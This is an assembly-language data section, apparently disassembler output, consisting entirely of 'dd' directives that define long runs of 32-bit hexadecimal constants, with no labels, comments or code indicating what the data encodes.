		dd 5545635Fh, 0C71520A1h, 0D161FEDEh, 0C25B2A68h, 929F45F7h
		dd 3A8CEFC2h, 69899856h, 0D9D51F08h, 2F121EB4h,	772524C5h
		dd 682D959Eh, 0E91DFA0h, 0BE0E7453h, 1EF21B17h,	740F1FCh
		dd 633F2668h, 7220BD33h, 0B61525A0h, 20E8337Ah,	3AFC7AE1h
		dd 78ACEBA4h, 916AE285h, 7E05C8EAh, 0BF2DEBA4h,	3CB0F552h
		dd 66C5C65Ah, 92E41CA8h, 7DD810D2h, 0F65BB600h,	1BC680DEh
		dd 0F30E7FEh, 0F7582D6h, 0A80F80E8h, 69DFF70Ch,	61000647h
		dd 1F324CCEh, 9DFD5897h, 769D67D0h, 760C89B3h, 0BCD8015Fh
		dd 0F82B0304h, 1108D33Dh, 0CF250F6Eh, 0FA093865h, 41524F01h
		dd 0E28C784h, 1925064h,	80D8B753h, 0D13175F5h, 0AEC79F15h
		dd 44FADD85h, 1E0C19B8h, 15F1F79Eh, 7DC23495h, 7CE9665Eh
		dd 13680452h, 0DA28EB0Bh, 41AC5AE9h, 14B2F303h,	0A8CF2036h
		dd 135CC640h, 0EE57E0D3h, 0E25AADCAh, 16F9D643h, 7F49E9C2h
		dd 3E5F22EAh, 23514C82h, 0E9D1B534h, 7F5E3E68h,	5C27F148h
		dd 79EA5BDDh, 0F606A6Fh
		dd 2D685EF7h, 66590E4Eh, 0ECE6FF4Bh, 1E8840B4h,	160500CCh
		dd 2D01F15Eh, 0EFDCF309h, 25C07070h, 8F64A8ABh,	0EBBFD3F0h
		dd 3F9BF85Ah, 7C40B5D9h, 0B3372BB8h, 54E01860h,	1689E293h
		dd 478AE9D3h, 744C04ADh, 2F1BB1E0h, 0A015A8F6h,	0AF4B9DBEh
		dd 9D2BD628h, 0E664A2F7h, 0EE79DDA4h, 5105C16Bh, 311740D2h
		dd 0EC71970Fh, 181CC08Bh, 126CBA0Bh, 93AB766h, 39DD0136h
		dd 0F4167AB9h, 2540B4F0h, 4EE8B054h, 0F34D4478h, 0D82D00C1h
		dd 0B0398F64h, 2CFC9508h, 0C7A0822Fh, 825F0973h, 42B8AB0h
		dd 1748383h, 7BA4FFDDh,	0F6B312B0h, 0C9B31ED8h,	3569BA6Eh
		dd 7A152566h, 0E1DC81B0h, 0CA64AC47h, 0D53C5818h, 5A292692h
		dd 47ACFF02h, 0F5F06225h, 4A25411Ch, 2555C4F0h,	5A42E3E9h
		dd 896DC5D5h, 5F7CB66Dh, 8EEB14C4h, 779C4BA0h, 5471B7F4h
		dd 71FE1942h, 8284A590h, 82B6F9B9h, 0F40DC468h,	0B255C773h
		dd 39AF36D3h, 0E5381701h, 19A8410Ah, 5ECE7B80h,	18310D48h
		dd 7FC57E81h, 94856CF8h, 97B3EAB6h, 0ED4E7758h,	77013BB5h
		dd 0C2003E4Eh, 2FD555BEh, 3F1CBE45h, 911A601Ah,	51C1F5E0h
		dd 623730Fh, 7F3AE441h,	6B50D7A7h, 0C517C1E0h, 74790887h
		dd 9024E495h, 0CD174BD0h, 5C2DD109h, 0EFB0BB1Fh, 2941BB69h
		dd 8F21AD25h, 0E7A2A42Eh, 101016B9h, 0C6FC4A01h, 0FCAC1B07h
		dd 21C1A5D7h, 9C4ECAh, 0CC00DB3h, 0F38004E3h, 0E49AA4CAh
		dd 7DA7BD04h, 0EDEA4E19h, 50050020h, 0E63FFAB8h, 26350042h
		dd 40717F74h, 0CFD221E9h, 0CE36A4FFh, 78EB6809h, 0FA70F055h
		dd 0E9E4FD01h, 8DCC4BECh, 0A57B6894h, 9BA2A28h,	696C2ECFh
		dd 0D11CE85Eh, 3F297DEDh, 82CC4005h, 0D85536FBh, 0A2E2049Bh
		dd 0C0503F38h, 59A2249h, 17F98E5Ah, 25A7A079h, 48BDB267h
		dd 7A20EDC7h, 184EB0C7h, 4457BE3h, 1D1BE498h, 72ECABFEh
		dd 9010D148h, 0E81E7089h, 8E493E04h, 0B2E57FEBh, 609F89A0h
		dd 5C3267h, 3DBD69EEh, 0E96E41BCh, 7D8EDE27h, 66947496h
		dd 95B5C250h, 0C3F055C4h, 0C62F2F96h, 83BA778Dh, 0B2CB5FBh
		dd 7D25C501h, 71FCDC22h, 3FB7F2A0h, 76BD2749h, 2DAD80DFh
		dd 1F17522Ch, 20C3F4BFh, 23681908h, 0FE2B8B0Eh,	89E197Ch
		dd 31437317h, 8A28EA80h, 0C36D61D0h, 50FE6985h,	20A3F866h
		dd 10585C8Fh, 0C1DB3501h, 5189B3A5h, 7370B8CAh,	2B615175h
		dd 60CA12CCh, 3CBA761Bh, 675FD90Fh, 4FE65C4h, 12F16FC1h
		dd 322B1107h, 555D28B2h, 0E500334Ah, 0E119BAA3h, 1140A590h
		dd 0D3899D50h, 814C2FECh, 0D3C98022h, 0F53F2174h, 3A39B1F0h
		dd 1B98DEE6h, 99B922D1h, 7A414913h, 0C353601Dh,	5F5D8AFh
		dd 0A1A6FA97h, 0BD02B3BCh, 0EB4E5AE6h, 7B74D2ABh, 0FE538FA4h
		dd 0ACC03573h, 5C015F02h, 776BD7F6h, 25083028h,	5BAF0357h
		dd 38AAFD8Bh, 7BEF8D01h, 0EEF59FE8h, 2F7AC7CEh,	0FA4C7B87h
		dd 9329EC50h, 0EA3D0960h, 7B11014Ch, 6E355983h,	0ED9E681Eh
		dd 0D255369Ah, 4702499Dh, 57C2F05Ah, 0D727599Eh, 9593CA25h
		dd 9FC2A26Eh, 4B980F95h, 0B87517D1h, 15B3FE05h,	0FBB73017h
		dd 0EF239B9Ah, 0CCFB5C93h, 42283A9Fh, 7E2D81A9h, 8EF0EE0Bh
		dd 8A5620ADh, 40BE660Bh, 3EB6FE30h, 0ECCAB238h,	0ABA4F2h
		dd 867F9FAEh, 1ECC5E55h, 0F0E95F87h, 0A09FA87Eh, 698D992Fh
		dd 46E606E1h, 5150524Ah, 0C249B7A3h, 10CB0260h,	7709F019h
		dd 0B4FCF6B0h, 29E05709h, 96B45BF3h, 88024323h,	50105AD3h
		dd 0D0675A5h, 78777E90h, 0A029F720h, 0D2B0737Ch, 6D00CF7h
		dd 609DD2F6h, 0B56CE5FBh, 0C7247BF1h, 673B800h,	81D529C8h
		dd 0E0AB31E8h, 750BB72Dh, 0C2591F81h, 0BAC35FEBh, 0E45FEBCAh
		dd 1690F8C6h, 23ACF61h,	7D51A447h, 6C241DDh, 2D020687h
		dd 449190EAh, 54182A05h, 19C62BC5h, 0D5308089h,	0DE5F36EEh
		dd 80BB6670h, 64A82F45h, 0AE2C8ED4h, 0EF4CB08h,	97E5C229h
		dd 257CB9FEh, 0AF2365C3h, 0F32C98DDh, 28F8063h,	23EF7DB0h
		dd 0CD680945h, 935465Eh, 37C75310h, 0F00B75F8h,	58C858ACh
		dd 949C5A15h, 34B9EE6Dh, 0AF0FBA5h, 0AB7269E9h,	257B51F7h
		dd 472D8BDAh, 6B99D7D7h, 35BB3B33h, 8CDBAA97h, 99765830h
		dd 2B017A14h, 6C92CF81h, 132F1AC8h, 0C04C13B6h,	3803BFBAh
		dd 1A20B633h, 639EE906h, 0A428742Bh, 6AF39F2Eh,	11FA6E6h
		dd 574413FEh, 739DBAC7h, 2F75BB2Fh, 85EF1012h, 9EF0ADFAh
		dd 99587BB2h, 1D60D86Bh, 4C718468h, 9431332Dh, 8C2B665h
		dd 2826A1A5h, 0B4409303h, 58A7E31Fh, 0E0E05E43h, 6212E166h
		dd 0A801D121h, 0D06ADFB8h, 8165F46Eh, 0B263F105h, 0CA03499h
		dd 90175F42h, 0C91E0532h, 8953D7Dh, 0C3008EDh, 25B046A3h
		dd 45775B16h, 3360A826h, 0EA8F1E07h, 3564D548h,	31EEAEADh
		dd 87752Bh, 15EC9B8h, 93350FF1h, 0FC15B77Ah, 92978A05h
		dd 62066179h, 7178C92Bh, 4EF377BBh, 10042212h, 34AB19ADh
		dd 0A97BF3Dh, 5AF017D2h, 0CFEF20A8h, 549866B1h,	2D5A6667h
		dd 125D1404h, 4CF1470h,	4AE95451h, 0FBEF4078h, 0B5468FF9h
		dd 0B2B83EA0h, 3E5BBF33h, 0FD10AD13h, 1F67027Ah, 774858A8h
		dd 3C13D16Dh, 19B9194Dh, 3D11F41h, 421154CEh, 5A048E44h
		dd 45C88DFEh, 0AADD9410h, 133761CCh, 0EC2D9460h, 0B01108Fh
		dd 0E6805D3Fh, 56760235h, 0F6F0EED1h, 28FE859Dh, 0E68716BBh
		dd 0FBD51051h, 4B57E450h, 310449C7h, 2D5A2958h,	0E36BE4A5h
		dd 0A3A84ACDh, 0A6414B7h, 890B9929h, 50560357h,	5A37FE68h
		dd 81D8C558h, 4AD4D0FAh, 213950FAh, 95560140h, 0A095127Eh
		dd 2D66068Ch, 75084E2Eh, 505F070h, 0BEE90A60h, 2542AF9Fh
		dd 5BEE83FEh, 52499299h, 47B0BE8Bh, 32DB69F4h, 60089374h
		dd 885207B3h, 0A4D127C2h, 450792D4h, 0FDDB0077h, 0FA34BA4Eh
		dd 0BDB46041h, 8C4AF6F2h, 0EE045776h, 253540A5h, 82850FEh
		dd 0F24B0558h, 0F1F7E154h, 253FD7Ah, 0DB712568h, 0D4F1571Eh
		dd 818A308Dh, 266F4D20h, 3EC4661h, 7C9D4019h, 9B720C1Eh
		dd 91BA5C16h, 5355E997h, 80B15FBAh, 0A5212B97h,	0CE3CDE68h
		dd 553DBF5Fh, 0A4E930DAh, 4F6069h, 535A8D9Ch, 27BBAE59h
		dd 18DDABD9h, 2DD56957h, 3922BA74h, 98550CAAh, 2550F8BCh
		dd 87F15859h, 3FE1326Fh, 3860E66Fh, 36EECFC4h, 0BA057558h
		dd 154620F8h, 7B9CDDBAh, 233A788Bh, 0A674D8C5h,	6E1741B2h
		dd 2C00696Fh, 417159E7h, 0D2DA9F5Ch, 92B16072h,	65A6BA80h
		dd 9810C66h, 0EC2131E2h, 0F0BE26C1h, 0CAF82D4Ah, 3046D70Bh
		dd 0B320F529h, 3C20CBE1h, 0B040D1B0h, 0A5109D5Ch, 6B17B3Ah
		dd 8045B281h, 0F2CD99EAh, 671CE9D0h, 625634A9h,	14FAB681h
		dd 0C37A9C0Bh, 52425D0Fh, 4018745Fh, 7307BA52h,	2FD550BDh
		dd 2AD7E1F5h, 0C5CFEB18h, 66A99ACAh, 0D5368C0Ch, 984996F2h
		dd 69E05EC6h, 575F40A1h, 18BD5500h, 0BF24FD3Ah,	0F3A5138Dh
		dd 482BAC9Fh, 810C2752h, 0D6895965h, 94A47538h,	9085084Fh
		dd 0D5EAD10Bh, 254BD5C0h, 8593FBB5h, 0BE393268h, 54CDE649h
		dd 0BD786319h, 0D3296D10h, 0E3F75DB2h, 0B531D715h, 5460EC64h
		dd 98CDD03Bh, 0DE3F2307h, 0B61EB26Ch, 0A6C54577h, 0BEF11318h
		dd 293B3FDDh, 79AB3ABEh, 85A72351h, 0EFF57D71h,	5D7B8739h
		dd 800E4497h, 0C46020E4h, 58E3282Bh, 28BF885Eh,	0ED0280E9h
		dd 0FED5F6ABh, 4A02D8C5h, 2819A4BDh, 0CCE9EB0Bh, 0A6CCF573h
		dd 0B980583Eh, 0CAC1A8B8h
		dd 0BA811678h, 0F262D76Ah, 0BFC4D18Eh, 0F6A7AF20h, 0A55E4A99h
		dd 47793BEBh, 9BBB92Eh,	0F5DE88D1h, 0E9128844h,	0F5F7DD0Bh
		dd 1B2F503Eh, 0FFCB042h, 5BBCE9F0h, 4DE78BD3h, 15B3167Bh
		dd 0F451DCCCh, 0BB9AC2h, 22FF8B8h, 6C82D69h, 2520C307h
		dd 2A93B24h, 993EFB5h, 0CE4381FEh, 0EA9502FAh, 2AC65DF9h
		dd 0E4EE0EC0h, 6BEF282Ch, 54D0027h, 9F657Eh, 0ACF42D54h
		dd 0C231D117h, 2CEE584Eh, 135EE9ABh, 6851A200h,	7B600DD1h
		dd 0C40E4B32h, 0AE3CFF9Dh, 0B48952Dh, 434C7F68h, 0DCC2D8EDh
		dd 0EECB83F0h, 98ABF9BFh, 97E86CDDh, 0C0722856h, 815DA615h
		dd 9FE9C5Eh, 0CA145D27h, 69FF3E34h, 912CA52h, 82029962h
		dd 0CA2A15h, 1C5F0959h,	0E8B5B0F2h, 725F7BDh, 574B280Fh
		dd 955EF756h, 0FE0617D6h, 7B07BB12h, 80E55998h,	0E9F005FEh
		dd 0AA1794ABh, 89A88FACh, 8CFC6EE7h, 0F6F1E9F0h, 0AF91D39Dh
		dd 2FF9134Ch, 0E4D343FCh, 0AF400890h, 95E64888h, 4B9D9018h
		dd 3E2D7ECBh, 7891E09Ah, 6DF3128h, 0C33562AAh, 0AE942F8h
		dd 16ADA549h, 0D8F75CECh, 97849D40h, 4AC19E44h,	75911F69h
		dd 0F8659BF9h, 7168FF2Bh, 0E91584EEh, 4E9985BAh, 0BA1325E0h
		dd 0BD2D4E8Bh, 99BE7B20h, 255265ADh, 90BACE75h,	692262A9h
		dd 0A76166EBh, 4B0C826Fh, 0D5CE4FDDh, 5C03CB51h, 0EDE9F9F7h
		dd 344F5DE8h, 8F89EF25h, 1DB8C530h, 9C5CD877h, 4295EEFh
		dd 0AAFE21E3h, 1A8482EDh, 0ABF91776h, 0AB4FCA06h, 54950C29h
		dd 3FE90534h, 73B7C8DBh, 0C9956FC5h, 0CF6472A2h, 6B57FD53h
		dd 8C57F311h, 0EEA3B60Ch, 676F7E02h, 88C60169h,	680908B8h
		dd 0BC79571Bh, 3A57FB96h, 0F61FBDAh, 53F610E9h,	5AC9544Ah
		dd 0E1297AE8h, 0D37E38F1h, 0BF9057FAh, 9EC4459h, 0EC5DF87Eh
		dd 4B08947Ch, 0A18902A9h, 0A15B07ABh, 0E9C2BDA6h, 2DECD69Eh
		dd 0F7D789F7h, 0D30CECE5h, 3F7DBF9h, 159E3D47h,	0F6EAFB31h
		dd 0CD055172h, 48745B6Bh, 0C2F31082h, 28FF8250h, 2D297B9Dh
		dd 8659A2FDh, 7FB80D62h, 0AB2F72B5h, 498B754Bh,	5C0284E7h
		dd 8F64FC57h, 0BE52CEE5h, 81A481E2h, 35DB693h, 7C6DE268h
		dd 0FD896944h, 2D7F0950h, 61BD4D00h, 0BB53E801h, 271800F5h
		dd 9DF38140h, 215A9A55h, 83916585h, 82056B7Dh, 524141CEh
		dd 0C68000FAh, 5CF6E6AAh, 0DF20CC1Dh, 88E58B80h, 43C2B62h
		dd 0BC5B04CBh, 0BFF6CFDFh, 0FAC5C18Ah, 70AD5F9Ch, 0F0F8985Ch
		dd 114004BAh, 0B46592E9h, 0F241A7EFh, 0FE5A3897h, 0B2B8F63Ch
		dd 0CCFE3BB6h, 33FBC293h, 0BBC95D27h, 0E1A84D5Fh, 5F174C8h
		dd 0F45EDAB7h, 616D60A0h, 0CA1E98F7h, 780C4160h, 900C576Eh
		dd 722B0CE2h, 700C08FEh, 32249D17h, 1361D5EFh, 8147A3E6h
		dd 0DD68C80Fh, 0A6C5DCAh, 0FC17D89Eh, 0E6E74CFCh, 414AF547h
		dd 4F80DBB9h, 312284FEh, 2902CA4Ch, 2500C287h, 0F70FE07Fh
		dd 136B0DDh, 841FB5BFh,	3E59CD29h, 0E93F5CB2h, 428DF92Ch
		dd 1D51CF8Ah, 0B3A973C4h, 0E581D53Eh, 51F214B4h, 0F513814Dh
		dd 0A4A3B91h, 0C8BC0C82h, 0F8F0CE46h, 68C32905h, 7B540375h
		dd 0FD92252Ch, 73B7D0BEh, 0A2572DD2h, 0D4FB0107h, 1EEE0205h
		dd 98597B59h, 0CAB7DA5h, 976165Dh, 6BCF57F2h, 0DC353A23h
		dd 2D566198h, 0FB209D09h, 0E4725F40h, 99BCEBB7h, 4ABFA93Eh
		dd 0B477AD17h, 48071E7Bh, 0C5317B21h, 770A2BD2h, 0D9C777B3h
		dd 0E9C11B7Eh, 2F68A60Dh, 0F649B080h, 767434D0h, 0E8C0D80Ch
		dd 0B040705h, 8D8EE999h, 0FC7A45DCh, 842842E6h,	0B1DC7D5h
		dd 0CC732A68h, 5B591F09h, 9F62694Ah, 2F58EDD5h,	7E68D8A1h
		dd 0C0A63F3Bh, 7660601h, 8C0ABE6Ch, 0A2D6290Bh,	0A77C5CF1h
		dd 76FC09DEh, 0B0B5FC79h, 7F56DDFAh, 347FE6DDh,	5E0C81B3h
		dd 0FB5799Ch, 0E54C5162h, 9AC6DA29h, 0CB6A9411h, 1401A01Bh
		dd 45C16851h, 0C1702B63h, 93886AB6h, 1AF62547h,	0BF0F8C5h
		dd 0C0CE5B21h, 794E7646h, 0A83EF8E7h, 27ED6697h, 81FB885Ch
		dd 76CE010Bh, 0C2755A7Fh, 527B7E2Bh, 0B88547Dh,	774A584Ah
		dd 669EAF5Ch, 0B085293h, 0FE310FCDh, 0CA60B3EBh, 4EEAEED1h
		dd 0D1CD595Fh, 49B58BFDh, 0A37DEC66h, 0B694E16h, 145D2AD8h
		dd 0F2D49577h, 0DDF1DF69h, 0EA13027h, 0B5AF83C3h, 84CD9457h
		dd 0F17281ECh, 0FE306FD3h, 0E40D6BBAh, 0BD550113h, 1D153E71h
		dd 22E16B31h, 0B42055Ch, 501A5E6Eh, 61417558h, 3004BB2Eh
		dd 8FF36FD6h, 0BDD27613h, 0B5AAD2BCh, 0A0EC2ED9h, 0F14FA748h
		dd 289C34E1h, 0DC8C114Ah, 3D74C9h, 0DDF18172h, 12D8574h
		dd 37E6CF5Fh, 6509F70Eh, 30E97422h, 0BDEAD26h, 16C3049Ch
		dd 42A180D7h, 79C2F281h, 0E93F0955h, 81E88D0Fh,	76262D8Fh
		dd 14BFEE79h, 160CF74h,	7187308Bh, 0EE31F529h, 0EA5E0803h
		dd 3C595F1Ch, 95B828E7h, 9D40C527h, 388E5E95h, 0F7FE51DEh
		dd 0C6F2E4B2h, 39C48EEh, 0A58CEF27h, 4A559CFDh,	8CCAE84Ah
		dd 73312864h, 5F88C453h, 45BF0385h, 0C14EE035h,	680809EFh
		dd 0D8B17F56h, 6E5A9220h, 0FD6012BAh, 790578AAh, 0E7C16566h
		dd 63C9C590h, 0BE29713Fh, 0FDC8A00Fh, 0F35BCD7Bh, 68E1037Dh
		dd 0AFBB0025h, 0BD09193Eh, 310BC2ADh, 0E05E5BDDh, 0EC84EE13h
		dd 42145CAh, 2A9552Fh, 2C5F1E5Dh, 8FDBF0Fh, 75696122h
		dd 0CD55658Bh, 214B1B77h, 7A26F1E5h, 986EDAB1h,	382FE9EDh
		dd 52167F56h, 5A5D5214h, 29B001BFh, 33E90E65h, 92B2E86Bh
		dd 0C3E52C0Bh, 3CABB584h, 9B5F11FBh, 83207AF6h,	444B8C9Ch
		dd 983B20DAh, 55400090h, 2CE62681h, 2D98BD0Eh, 28C1179Eh
		dd 0EED51C1Dh, 4774E181h, 0C03F2675h, 42B294Ch,	0F6564F24h
		dd 0F87FE319h, 0A7A0DCDFh, 0F2EA4A29h, 0E4C0DE30h, 11AFE7Fh
		dd 0BF5705C2h, 0EA654BDFh, 51CA9300h, 0F7F75C1Dh, 1C6698E3h
		dd 2AAB031h, 56053C7h, 0A614F54h, 0DE3329F3h, 615236D6h
		dd 0C53CA2FBh, 0AD3755C4h, 0D7663F82h, 0EE30CB72h, 0F9F5535Ch
		dd 41721239h, 4DD1BE05h, 0E79D75A7h, 0C9AEC8CFh, 0C70B4613h
		dd 0C20F5CEEh, 1A57D802h, 170FDF2Fh, 0D40FF877h, 2E8B162Eh
		dd 7F13C3BAh, 22C7BD5Ah, 8093DA84h, 50E2F257h, 0EA644D95h
		dd 69500227h, 1B5F9F80h, 816F5201h, 906AFEE7h, 5B0009FAh
		dd 25E810FAh, 0C259B4CBh, 0C0D90534h, 0A9D9B5E5h, 12DAA34h
		dd 0DF0104Ch, 4205D829h, 605F5607h, 40844B74h, 190FED79h
		dd 84230302h, 2FAC052Fh, 0C3083DC1h, 0A7162EF7h, 510528F0h
		dd 0D8FBA6FDh, 560F68F0h, 6B008574h, 817B9A16h,	1D0765E5h
		dd 0F5E93205h, 0A6BFF169h, 0C4760B50h, 183AAC8h, 5ABC3594h
		dd 513F32BEh, 81C28B54h, 71685D31h, 5B5E5A59h, 0B497B1E2h
		dd 78490DD2h, 0B89CB122h, 0B05D5D02h, 0B7FE25E1h, 2D3F7467h
		dd 0EB01696Dh, 1FFCE474h, 8B1E5030h, 0C37E632Fh, 1361AF83h
		dd 6DF6B04Bh, 26A73E67h, 0DD2EE01h, 0EAE93D90h,	0D8C72BDFh
		dd 610712D8h, 0CA940102h, 2E6F9A3Ah, 90250BF1h,	0AAD0DFA8h
		dd 0A879D75Dh, 26A8FC63h, 44BFED83h, 94B18445h,	845CADCDh
		dd 0A4E27365h, 85F25A78h, 3DD8203Bh, 5E2D4266h,	0A7F95C29h
		dd 5F2F77F4h, 0A7A57A98h, 7C72742Eh, 2DFE4CA5h,	0E279F501h
		dd 18269862h, 2C0390B9h, 0E4E94E46h, 0AD443BE2h, 0CE61CD12h
		dd 0D59E6BD3h, 0DD0FA329h, 4B77BA93h, 0B0AF7DB2h, 3946F6E3h
		dd 2DADD25Fh, 55B30D2h,	32E93AA4h, 0DADBCEB0h, 42FA7155h
		dd 0F9F522E9h, 885107D5h
		dd 0C70129C1h, 5730DC68h, 0F5FDD769h, 0E2A2EB2Ah, 4C8E4593h
		dd 34968D5Ah, 0CF40EDD3h, 3FDF0BBAh, 0F67817A1h, 11F37A16h
		dd 21720D0Ch, 0B05000C7h, 8ACA817Eh, 1A986876h,	5856C201h
		dd 0C6E90F5Dh, 35F37DEAh, 8AD10A8Ah, 2D566069h,	41233F6Ch
		dd 0FACBFAA7h, 0C1CEB84Fh, 0B1E95A05h, 66B4EB82h, 0FBE04F13h
		dd 52A69531h, 0B85FF05h, 637B6F00h, 39BE4859h, 349F4BC6h
		dd 6E8327E9h, 85BA3E2Ch, 5900727Eh, 5AB8504Ah, 9CB92FE3h
		dd 0BB538000h, 0CD253699h, 0B5ADFE46h, 7687EC04h, 0BA416B0Bh
		dd 10F8229h, 0C83060D6h, 66799778h, 25C3A988h, 0FA66825Fh
		dd 2D45DF26h, 0B450E630h, 60E93FF0h, 1DD7444Eh,	5DDDBBA9h
		dd 0D664A2EDh, 108F6258h, 387D5229h, 62C66889h,	65B33148h
		dd 6B26607h, 35B8DD53h,	0CAB65209h, 0F639B66Dh,	47F4EB0Fh
		dd 2EDEF1F2h, 17E9D042h, 0DEEE8EFh, 0A912E25h, 0D7F12DDBh
		dd 0D42C6E28h, 174640F4h, 3158B40Dh, 0A1231Eh, 7835D5BEh
		dd 0F0310F29h, 34C9405Eh, 5D6A25F7h, 59241F2h, 0BEC687DEh
		dd 6488DA4h, 314C5084h,	332F5CFEh, 26C67BC1h, 5AC81F7Ah
		dd 0A2425B5Dh, 5EE769DDh, 4B05B33Bh, 8FC888BEh,	0DBA87EF7h
		dd 7B5170A1h, 0BB02278Eh, 6FBF50A5h, 5A0B7C57h,	0AB68F930h
		dd 57B57418h, 4915E9E5h, 0B35B72A3h, 0CA573FB7h, 0E9C2DBB6h
		dd 12667A9Dh, 69A6BB04h, 54802ABDh, 5AD26F55h, 0CC59F14Dh
		dd 72B705E3h, 28A401F5h, 0D931C006h, 0F6EC2A5Bh, 415AC302h
		dd 0F25D246Fh, 0C9E925F4h, 0DA885040h, 0F2547AEEh, 600022DFh
		dd 0CC0545BAh, 0EA17C752h, 7E500B08h, 0B1FD013Eh, 0D41BF87h
		dd 337CF829h, 0C201B41h, 0F6F2EFDh, 59C80E20h, 505D065h
		dd 4026E90Ah, 1BB5BE8Ah, 4FF40899h, 74257F4Fh, 9E71D5F4h
		dd 0EB2C961Ah, 94C2BC27h, 45125450h, 0BBB65788h, 4AF69ACCh
		dd 4D925A2h, 3853E5Eh, 0C215C380h, 0E6205D38h, 1F31ADC1h
		dd 7E2D097Bh, 0BD3D9899h, 0AD59BFD8h, 0E6CF18ACh, 7A372B9h
		dd 0AB05BDEAh, 0D0F26339h, 319EBFB8h, 0B09F5AEAh, 2676CF72h
		dd 16E2C32h, 68420B8Ch,	410FEC81h, 771A7225h, 309283C8h
		dd 0E976800Bh, 823A6251h, 4F0886EBh, 0B932924h,	0E174FB68h
		dd 9DAC5564h, 0E7D83BB9h, 0E78297DEh, 0C057622Dh, 97C2299Dh
		dd 70891FD1h, 8B917150h, 0DBFCED7Ah, 1046D472h,	4E44485Bh
		dd 0EB6E17FAh, 74668AD2h, 0CB550854h, 0FA03801Eh, 0DAFE8852h
		dd 63825FE5h, 0CDDF555Ch, 630A28E7h, 65F665B5h,	0D87063E9h
		dd 0BC241EC6h, 0F2004910h, 0E9D6315Eh, 0E408B5C5h, 5E55D2A7h
		dd 4F598D1Ch, 33EE2B2Ah, 0E4BD12F4h, 68408D7Eh,	0BE560358h
		dd 532171C3h, 28196BD1h, 3DADC38Eh, 0E281E876h,	8E6012CDh
		dd 301B007Fh, 0E962DC69h, 4BAC5434h, 683603FFh,	0DF1713D6h
		dd 8AD7820h, 6901BBD4h,	0C1763347h, 0F89320E1h,	2035F34Eh
		dd 0D5B40349h, 6278606h, 0EC7FA876h, 2E4C018h, 28A912h
		dd 0CDFE58E5h, 308BB652h, 12DDF558h, 2BFFFC46h,	802D3AC3h
		dd 89BEF3FDh, 4EF2E9C1h, 2AE7A557h, 0AF4D4301h,	0E17E630Ah
		dd 17883A15h, 52140554h, 0F87C2906h, 57E9CE0Fh,	44B01B57h
		dd 8BE140D5h, 36E80A4Bh, 0A98A57DFh, 0F90F5F02h, 4B50307Eh
		dd 7A08944Eh, 5C25B1C5h, 0F16E5882h, 16375BD5h,	96AA5E2Dh
		dd 2BF10E6Fh, 1264218h,	945B8C6h, 7D181713h, 680407F5h
		dd 0CEBB3E24h, 41EA5A44h, 67291A34h, 8BC42B45h,	126BE8AEh
		dd 38055DEAh, 0C3CD5EDEh, 0B440E57Dh, 0DA83A00Bh, 46652968h
		dd 3D812D33h, 3B42B812h, 0C05E7CCBh, 765D1AD8h,	0CE00894Ah
		dd 4D4FD0E9h, 0B909843h, 0FA84826h, 920A58FEh, 0EB8BC7C7h
		dd 413B245Dh, 0FA073C83h, 0B7D3D0EEh, 90A075ECh, 109F7EB9h
		dd 8074E48Dh, 29129EBAh, 94FA14D8h, 7459C711h, 0BB98F0ECh
		dd 9CE0EA0Bh, 5F7709BAh, 0E0D75EE2h, 8065E52Ch,	0C69A8EE9h
		dd 0B77519Fh, 21A6BFDh,	575A8CC4h, 0CC5AF3E8h, 5D9E9357h
		dd 51CBFE00h, 1A3073B5h, 0DC8859EBh, 92355C0h, 26BCFDB1h
		dd 339A32B1h, 3EE25756h, 27D2DB75h, 95229655h, 0BE3A7B14h
		dd 79840236h, 0D5F7D8E9h, 6F8B34D3h, 886C5192h,	311261ADh
		dd 0F996C5AEh, 0D8BF97A5h, 1C27E926h, 0C24EB3DDh, 0A0DC66A2h
		dd 0BFA48AB3h, 89340914h, 3813B97h, 0EF3354EBh,	2A3D9D4Eh
		dd 0DEE2F962h, 0B25EBBBFh, 5B4F1068h, 9A63BA4Ch, 0CD58CCE6h
		dd 2F5158ECh, 26AF57BDh, 29A7824Ch, 0A880FE64h,	0E4C58907h
		dd 2DE7ACE7h, 0BC9CDD5Ah, 4B376812h, 7600B135h,	23DBCDA3h
		dd 5BAE24E9h, 0DFF763A7h, 9B680409h, 24DE62Ch, 4ECB4A42h
		dd 5D56C3E9h, 729DBF00h, 48122C9h, 205D3FF7h, 8CE08076h
		dd 0C003E2Ah, 10BD5542h, 0BD618232h, 0F58138FCh, 7B51634Ch
		dd 0C400BA3Bh, 3B6C54F2h, 0FCE4FF72h, 73FB0439h, 0B5DCB0E9h
		dd 410B221Ch, 4A2B22B1h, 0C527A9A9h, 7B412E1Ah,	9BE008Ch
		dd 42B33433h, 0A3A4EE36h, 17B69CC1h, 3006BF5Bh,	4F696C4Ah
		dd 84F4ED44h, 5D02A4FBh, 6FFE4168h, 0DEBA6660h,	9552952Ch
		dd 79EC424Fh, 0E012B512h, 1E7F480Eh, 0D6C74A7Eh, 53B702FDh
		dd 25A6BBD3h, 0BCE24586h, 5AEF5E55h, 70315C55h,	44B54B96h
		dd 9B5AB728h, 67B64CF8h, 0DDF70Bh, 0CC1A9F4Bh, 1480BF26h
		dd 50E9F821h, 0FD773BEBh, 26536DB6h, 123AE189h,	1AC8BB86h
		dd 20FEB0EAh, 5897B9D0h, 204B0B41h, 0EE00283Dh,	4A87132Bh
		dd 76418B98h, 839EA06Fh, 9456B53Dh, 48589F10h, 363A1FADh
		dd 2F087E25h, 4AC3EB60h, 8043EEF9h, 0A4D06A8Ah,	46E56FE7h
		dd 1945342h, 0E02FC780h, 209DFB71h, 5374119Fh, 3490B05h
		dd 59D06862h, 13E50783h, 1FA2EE11h, 0AB6002C0h,	56952D59h
		dd 9A050071h, 0E9362238h, 30983254h, 0FC88E65Eh, 283800B7h
		dd 805B66FAh, 0CAE61EF2h, 0E9DC0DC1h, 0B77B95A9h, 26025EB8h
		dd 753DD868h, 9642F518h, 4AAAA983h, 66680A84h, 47D88D33h
		dd 140AD05Dh, 9EE0E965h, 18DB4595h, 0E3B94737h,	5BBE4D1Eh
		dd 43FA118Ah, 0DF525889h, 0A95052F1h, 0B134C7BBh, 0BD3E7F0h
		dd 2A00757h, 91C2FDEBh,	6804B0FBh, 69A86EEFh, 26CB92h
		dd 4C52116Ah, 95715CE9h, 0B102C8E4h, 8BE130D7h,	0FAFB5704h
		dd 0F6C477A7h, 552A03BDh, 7DDC1698h, 0A0BDFD74h, 965CA1E9h
		dd 4A004962h, 5E4716B1h, 5A56BD00h, 0ED812188h,	0F2151643h
		dd 41B6F929h, 62A12B08h, 0E9DAA42Fh, 4E761959h,	0B3341F99h
